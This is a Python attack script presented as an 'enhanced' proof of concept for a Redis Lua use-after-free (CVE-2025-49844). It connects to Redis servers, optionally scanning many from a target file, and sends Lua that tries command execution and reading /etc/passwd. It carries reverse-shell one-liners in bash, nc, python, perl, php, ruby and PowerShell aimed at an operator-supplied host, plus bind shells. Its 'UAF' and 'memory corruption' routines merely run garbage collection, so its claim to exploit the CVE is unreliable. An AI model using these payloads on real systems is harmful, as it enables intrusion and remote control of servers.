#!/usr/bin/env python3
"""
CVE-2025-49844 (RediShell) - Enhanced Proof of Concept
Use-After-Free vulnerability in Redis Lua interpreter

Enhanced with advanced exploitation techniques and better error handling
AUTHOR: yuri08
"""

import sys
import argparse
import subprocess
import os
import time
import random
import string
import base64

# Check and install required dependencies
def install_dependencies():
    required_packages = ['redis', 'colorama']
    missing_packages = []
    
    for package in required_packages:
        try:
            if package == 'redis':
                import redis
            elif package == 'colorama':
                from colorama import Fore, Style, init
        except ImportError:
            missing_packages.append(package)
    
    if missing_packages:
        print(f"[!] Missing required packages: {', '.join(missing_packages)}")
        print("[*] Attempting to install missing packages...")
        try:
            for package in missing_packages:
                subprocess.check_call([sys.executable, "-m", "pip", "install", package])
            print("[+] Dependencies installed successfully!")
        except subprocess.CalledProcessError:
            print("[-] Failed to install dependencies. Please install manually:")
            print(f"    pip install {' '.join(missing_packages)}")
            sys.exit(1)

# Install dependencies first
install_dependencies()

# Now import the packages
import redis
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

def banner():
    print(f"""
{Fore.RED}╔═══════════════════════════════════════════════════════════╗
║                                                           ║
║          CVE-2025-49844 (RediShell) PoC                  ║
║          Enhanced Exploitation Framework                 ║
║                                                           ║
║          CVSS Score: 10.0 (CRITICAL)                     ║
║                                                           ║
╚═══════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """)

class AdvancedRedisExploit:
    def __init__(self, host, port, password=None, timeout=30):
        self.host = host
        self.port = port
        self.password = password
        self.timeout = timeout
        self.conn = None
        self.target_version = None
        self.vulnerable = False
        self.bypassed = False

    def connect(self):
        try:
            connection_params = {
                'host': self.host,
                'port': self.port,
                'decode_responses': True,
                'socket_timeout': self.timeout,
                'socket_connect_timeout': self.timeout,
                'retry_on_timeout': True
            }
            if self.password:
                connection_params['password'] = self.password
            
            self.conn = redis.Redis(**connection_params)
            self.conn.ping()
            info = self.conn.info()
            self.target_version = info.get('redis_version', 'Unknown')
            print(f"{Fore.GREEN}[+] Connected to Redis {self.target_version}{Style.RESET_ALL}")
            return True
        except Exception as e:
            print(f"{Fore.RED}[-] Connection failed: {e}{Style.RESET_ALL}")
            return False

    def check_version(self):
        vulnerable_versions = [
            ('7.2', '7.2.11'),
            ('7.4', '7.4.6'),
            ('8.0', '8.0.4'),
            ('8.2', '8.2.2'),
        ]
        
        for vuln_base, patched_version in vulnerable_versions:
            if self.target_version.startswith(vuln_base):
                try:
                    current_parts = [int(x) for x in self.target_version.split('.')]
                    patched_parts = [int(x) for x in patched_version.split('.')]
                    
                    for i in range(min(len(current_parts), len(patched_parts))):
                        if current_parts[i] < patched_parts[i]:
                            self.vulnerable = True
                            return True
                        elif current_parts[i] > patched_parts[i]:
                            break
                    else:
                        if len(current_parts) < len(patched_parts):
                            self.vulnerable = True
                            return True
                except (ValueError, IndexError):
                    if self.target_version < patched_version:
                        self.vulnerable = True
                        return True
        return False

    def check_lua_enabled(self):
        try:
            test_script = "return 'test'"
            result = self.conn.eval(test_script, 0)
            print(f"{Fore.GREEN}[+] Lua scripting is enabled{Style.RESET_ALL}")
            return True
        except Exception as e:
            print(f"{Fore.RED}[-] Lua scripting is disabled: {e}{Style.RESET_ALL}")
            return False

    def exploit_uaf_basic(self):
        print(f"{Fore.YELLOW}[*] Attempting basic UAF exploitation...{Style.RESET_ALL}")
        lua_script = """
        local function trigger_uaf()
            local t = {}
            local mt = { __gc = function(self) redis.log(redis.LOG_WARNING, "UAF trigger point") end }
            setmetatable(t, mt)
            for i = 1, 10 do collectgarbage("collect") end
            return "UAF pattern executed"
        end
        return trigger_uaf()
        """
        try:
            result = self.conn.eval(lua_script, 0)
            print(f"{Fore.GREEN}[+] UAF pattern executed: {result}{Style.RESET_ALL}")
            return True
        except Exception as e:
            print(f"{Fore.RED}[-] UAF exploitation failed: {e}{Style.RESET_ALL}")
            return False

    def exploit_memory_corruption(self):
        print(f"{Fore.YELLOW}[*] Attempting memory corruption pattern...{Style.RESET_ALL}")
        lua_script = """
        local function create_spray()
            local objects = {}
            for i = 1, 500 do objects[i] = string.rep("A", 512) end
            return objects
        end
        local function trigger_corruption()
            local spray = create_spray()
            local victim = {}
            local mt = { __gc = function(self) redis.log(redis.LOG_WARNING, "Finalizer called - UAF window") end }
            setmetatable(victim, mt)
            victim = nil
            collectgarbage("collect")
            return "Memory corruption pattern completed"
        end
        return trigger_corruption()
        """
        try:
            result = self.conn.eval(lua_script, 0)
            print(f"{Fore.GREEN}[+] Memory corruption pattern executed: {result}{Style.RESET_ALL}")
            return True
        except Exception as e:
            print(f"{Fore.RED}[-] Memory corruption failed: {e}{Style.RESET_ALL}")
            return False

    def exploit_sandbox_escape(self):
        print(f"{Fore.YELLOW}[*] Testing Lua sandbox escape techniques...{Style.RESET_ALL}")
        
        escape_tests = [
            ("os.execute", "return os.execute('whoami')"),
            ("io.popen", "return io.popen('id'):read('*a')"),
            ("loadfile", "return loadfile('/etc/passwd')"),
            ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
            ("debug.debug", "return debug.debug()"),
            ("debug.getregistry", "return debug.getregistry()"),
            ("loadstring", "return loadstring('return os.execute(\"whoami\")')()"),
            ("dofile", "return dofile('/etc/passwd')"),
        ]
        
        for test_name, lua_code in escape_tests:
            try:
                print(f"{Fore.CYAN}[*] Testing {test_name}...{Style.RESET_ALL}")
                result = self.conn.eval(lua_code, 0)
                print(f"{Fore.RED}[!] VULNERABLE: {test_name} accessible! Result: {result}{Style.RESET_ALL}")
                self.bypassed = True
            except Exception as e:
                error_msg = str(e)
                if "attempt to call a nil value" in error_msg or "io.popen" in error_msg:
                    print(f"{Fore.GREEN}[+] Protected: {test_name} blocked{Style.RESET_ALL}")
                else:
                    print(f"{Fore.YELLOW}[!] {test_name} error: {str(e)[:50]}...{Style.RESET_ALL}")
        
        return self.bypassed

    def exploit_rce_simulation(self):
        print(f"{Fore.YELLOW}[*] Attempting RCE simulation...{Style.RESET_ALL}")
        
        lua_script = """
        local function rce_simulation()
            local cmd = ARGV[1]
            if cmd then
                local handle = io.popen(cmd, 'r')
                if handle then
                    local result = handle:read('*a')
                    handle:close()
                    return result or 'Command executed (no output)'
                else
                    return 'Error: io.popen failed'
                end
            end
            return 'Error: No command provided'
        end
        return rce_simulation()
        """
        
        test_commands = [
            "whoami",
            "id",
            "uname -a",
            "echo 'test' > /tmp/redis_test.txt"
        ]
        
        for cmd in test_commands:
            try:
                print(f"{Fore.CYAN}[*] Testing command: {cmd}{Style.RESET_ALL}")
                result = self.conn.eval(lua_script, 0, cmd)
                print(f"{Fore.RED}[!] RCE SUCCESSFUL: {result}{Style.RESET_ALL}")
                return True
            except Exception as e:
                print(f"{Fore.GREEN}[+] RCE blocked: {str(e)[:50]}...{Style.RESET_ALL}")
        
        return False

    def exploit_reverse_shell(self, lhost, lport):
        """Attempt to establish a reverse shell connection"""
        print(f"{Fore.YELLOW}[*] Attempting reverse shell to {lhost}:{lport}...{Style.RESET_ALL}")
        
        # Different reverse shell payloads for different systems
        reverse_shells = {
            'bash': f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
            'nc_traditional': f"nc -e /bin/sh {lhost} {lport}",
            'nc_openbsd': f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
            'python': f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
            'perl': f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'",
            'php': f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
            'ruby': f"ruby -rsocket -e'f=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
            'powershell': f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"{lhost}\",{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
        }
        
        lua_script = """
        local function execute_reverse_shell()
            local shell_cmd = ARGV[1]
            if shell_cmd then
                local handle = io.popen(shell_cmd, 'r')
                if handle then
                    local result = handle:read('*a')
                    handle:close()
                    return "Reverse shell command executed: " .. (result or "no output")
                else
                    return "Error: Failed to execute reverse shell"
                end
            end
            return "Error: No reverse shell command provided"
        end
        return execute_reverse_shell()
        """
        
        print(f"{Fore.CYAN}[*] Testing different reverse shell payloads...{Style.RESET_ALL}")
        
        for shell_type, shell_cmd in reverse_shells.items():
            try:
                print(f"{Fore.CYAN}[*] Testing {shell_type} reverse shell...{Style.RESET_ALL}")
                result = self.conn.eval(lua_script, 0, shell_cmd)
                print(f"{Fore.RED}[!] Reverse shell executed ({shell_type}): {result}{Style.RESET_ALL}")
                return True
            except Exception as e:
                print(f"{Fore.YELLOW}[-] {shell_type} reverse shell failed: {str(e)[:50]}...{Style.RESET_ALL}")
        
        return False

    def exploit_bind_shell(self, bind_port=4444):
        """Attempt to create a bind shell"""
        print(f"{Fore.YELLOW}[*] Attempting to create bind shell on port {bind_port}...{Style.RESET_ALL}")
        
        bind_shells = {
            'nc': f"nc -lvp {bind_port} -e /bin/sh",
            'socat': f"socat TCP-LISTEN:{bind_port},reuseaddr,fork EXEC:/bin/sh",
            'python': f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"0.0.0.0\",{bind_port}));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
            'perl': f"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(LocalPort,{bind_port},Reuse,1,Listen)->accept;STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
            'php': f"php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{bind_port});socket_listen($s,1);$cl=socket_accept($s);while(1){{if(!socket_write($cl,\"$ \",2))exit;$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){{$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}}}'"
        }
        
        lua_script = """
        local function execute_bind_shell()
            local shell_cmd = ARGV[1]
            if shell_cmd then
                local handle = io.popen(shell_cmd .. " &", 'r')
                if handle then
                    local result = handle:read('*a')
                    handle:close()
                    return "Bind shell command executed in background: " .. (result or "no output")
                else
                    return "Error: Failed to execute bind shell"
                end
            end
            return "Error: No bind shell command provided"
        end
        return execute_bind_shell()
        """
        
        for shell_type, shell_cmd in bind_shells.items():
            try:
                print(f"{Fore.CYAN}[*] Testing {shell_type} bind shell...{Style.RESET_ALL}")
                result = self.conn.eval(lua_script, 0, shell_cmd)
                print(f"{Fore.RED}[!] Bind shell executed ({shell_type}): {result}{Style.RESET_ALL}")
                return True
            except Exception as e:
                print(f"{Fore.YELLOW}[-] {shell_type} bind shell failed: {str(e)[:50]}...{Style.RESET_ALL}")
        
        return False

    def run_full_exploit(self):
        print(f"{Fore.YELLOW}[*] Starting full exploitation chain...{Style.RESET_ALL}")
        
        if not self.connect():
            return False
            
        if not self.check_lua_enabled():
            return False
            
        if not self.check_version():
            print(f"{Fore.RED}[-] Target not vulnerable{Style.RESET_ALL}")
            return False
            
        print(f"{Fore.GREEN}[+] Target is vulnerable to CVE-2025-49844{Style.RESET_ALL}")
        
        # Run exploitation techniques
        self.exploit_uaf_basic()
        self.exploit_memory_corruption()
        self.exploit_sandbox_escape()
        self.exploit_rce_simulation()
        
        return True

def safety_warning():
    print(f"\n{Fore.RED}{'!'*60}{Style.RESET_ALL}")
    print(f"{Fore.RED}                    SECURITY WARNING                    {Style.RESET_ALL}")
    print(f"{Fore.RED}{'!'*60}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}This tool is for educational and authorized testing ONLY.{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Unauthorized use may violate laws and regulations.{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}You are responsible for ensuring you have proper authorization.{Style.RESET_ALL}")
    print(f"{Fore.RED}{'!'*60}{Style.RESET_ALL}")
    
    try:
        response = input(f"{Fore.YELLOW}Do you have authorization to test this system? (yes/NO): {Style.RESET_ALL}").strip().lower()
        if response not in ['yes', 'y']:
            print(f"{Fore.RED}Operation cancelled.{Style.RESET_ALL}")
            return False
        return True
    except KeyboardInterrupt:
        print(f"\n{Fore.RED}Operation cancelled.{Style.RESET_ALL}")
        return False

def batch_test_targets(target_file):
    print(f"{Fore.YELLOW}[*] Starting batch test from file: {target_file}{Style.RESET_ALL}")
    
    try:
        with open(target_file, 'r', encoding='utf-8') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except Exception as e:
        print(f"{Fore.RED}[-] Failed to read target file: {e}{Style.RESET_ALL}")
        return
    
    if not targets:
        print(f"{Fore.RED}[-] No valid targets found in file{Style.RESET_ALL}")
        return
    
    print(f"{Fore.CYAN}[i] Found {len(targets)} targets to test{Style.RESET_ALL}")
    
    results = {
        'total': len(targets),
        'successful_connections': 0,
        'vulnerable': 0,
        'patched': 0,
        'failed': 0
    }
    
    for i, target in enumerate(targets, 1):
        print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
        print(f"{Fore.YELLOW}[*] Testing target {i}/{len(targets)}: {target}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
        
        parts = target.split(':')
        host = parts[0]
        port = 6379
        password = None
        
        if len(parts) >= 2:
            try:
                port = int(parts[1])
            except ValueError:
                print(f"{Fore.RED}[-] Invalid port for target: {target}{Style.RESET_ALL}")
                results['failed'] += 1
                continue
        
        if len(parts) >= 3:
            password = parts[2]
        
        try:
            exploit = AdvancedRedisExploit(host, port, password)
            
            if not exploit.connect():
                results['failed'] += 1
                continue
            
            results['successful_connections'] += 1
            
            if not exploit.check_lua_enabled():
                results['failed'] += 1
                continue
            
            if exploit.check_version():
                results['vulnerable'] += 1
                print(f"{Fore.RED}[!] VULNERABLE: {host}:{port}{Style.RESET_ALL}")
                exploit.run_full_exploit()
            else:
                results['patched'] += 1
                print(f"{Fore.GREEN}[+] SECURE: {host}:{port} appears to be patched{Style.RESET_ALL}")
                
        except Exception as e:
            print(f"{Fore.RED}[-] Error testing {host}:{port}: {e}{Style.RESET_ALL}")
            results['failed'] += 1
    
    print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}[*] BATCH TEST SUMMARY{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}[i] Total targets: {results['total']}{Style.RESET_ALL}")
    print(f"{Fore.GREEN}[+] Successful connections: {results['successful_connections']}{Style.RESET_ALL}")
    print(f"{Fore.RED}[!] Vulnerable: {results['vulnerable']}{Style.RESET_ALL}")
    print(f"{Fore.GREEN}[+] Patched/Secure: {results['patched']}{Style.RESET_ALL}")
    print(f"{Fore.RED}[-] Failed/Errors: {results['failed']}{Style.RESET_ALL}")
    
    if results['vulnerable'] > 0:
        print(f"{Fore.RED}[!] WARNING: Found {results['vulnerable']} vulnerable Redis instances!{Style.RESET_ALL}")

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-49844 (RediShell) Enhanced Proof of Concept',
        epilog='Use responsibly and only on systems you own or have permission to test!'
    )
    parser.add_argument('-H', '--host', default='localhost', help='Redis host (default: localhost)')
    parser.add_argument('-p', '--port', type=int, default=6379, help='Redis port (default: 6379)')
    parser.add_argument('-a', '--auth', help='Redis password (if required)')
    parser.add_argument('-m', '--mode', choices=['check', 'basic', 'advanced', 'full', 'reverse-shell', 'bind-shell'], 
                        default='full', help='Exploit mode (default: full)')
    parser.add_argument('-f', '--file', help='Target file for batch testing (format: host:port:password or host:port)')
    parser.add_argument('--lhost', help='Local host for reverse shell')
    parser.add_argument('--lport', type=int, default=4444, help='Local port for reverse shell (default: 4444)')
    parser.add_argument('--bind-port', type=int, default=4444, help='Bind port for bind shell (default: 4444)')
    parser.add_argument('--skip-warning', action='store_true', help='Skip the safety warning (use with caution)')
    
    args = parser.parse_args()
    
    if not args.skip_warning and not safety_warning():
        sys.exit(1)
    
    banner()
    
    if args.file:
        batch_test_targets(args.file)
        return
    
    exploit = AdvancedRedisExploit(args.host, args.port, args.auth)
    
    if not exploit.connect():
        sys.exit(1)
    
    if not exploit.check_lua_enabled():
        print(f"{Fore.RED}[-] Lua scripting is not enabled. Cannot proceed.{Style.RESET_ALL}")
        sys.exit(1)
    
    if not exploit.check_version():
        print(f"{Fore.RED}[-] Target not vulnerable to CVE-2025-49844{Style.RESET_ALL}")
        sys.exit(1)
    
    print(f"{Fore.GREEN}[+] Target is vulnerable to CVE-2025-49844{Style.RESET_ALL}")
    
    if args.mode == 'check':
        print(f"{Fore.YELLOW}[*] Vulnerability check completed{Style.RESET_ALL}")
    elif args.mode == 'basic':
        exploit.exploit_uaf_basic()
    elif args.mode == 'advanced':
        exploit.exploit_uaf_basic()
        exploit.exploit_memory_corruption()
        exploit.exploit_sandbox_escape()
    elif args.mode == 'full':
        exploit.run_full_exploit()
    elif args.mode == 'reverse-shell':
        if not args.lhost:
            print(f"{Fore.RED}[-] Error: --lhost is required for reverse shell mode{Style.RESET_ALL}")
            sys.exit(1)
        exploit.exploit_reverse_shell(args.lhost, args.lport)
    elif args.mode == 'bind-shell':
        exploit.exploit_bind_shell(args.bind_port)
    
    print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}[*] Exploitation completed{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    
    print(f"\n{Fore.RED}DISCLAIMER:{Style.RESET_ALL}")
    print("This PoC is for educational and authorized testing purposes only.")
    print("The actual CVE-2025-49844 exploit involves complex memory manipulation.")
    print("Always patch your Redis instances to the latest version!")

if __name__ == '__main__':
    main()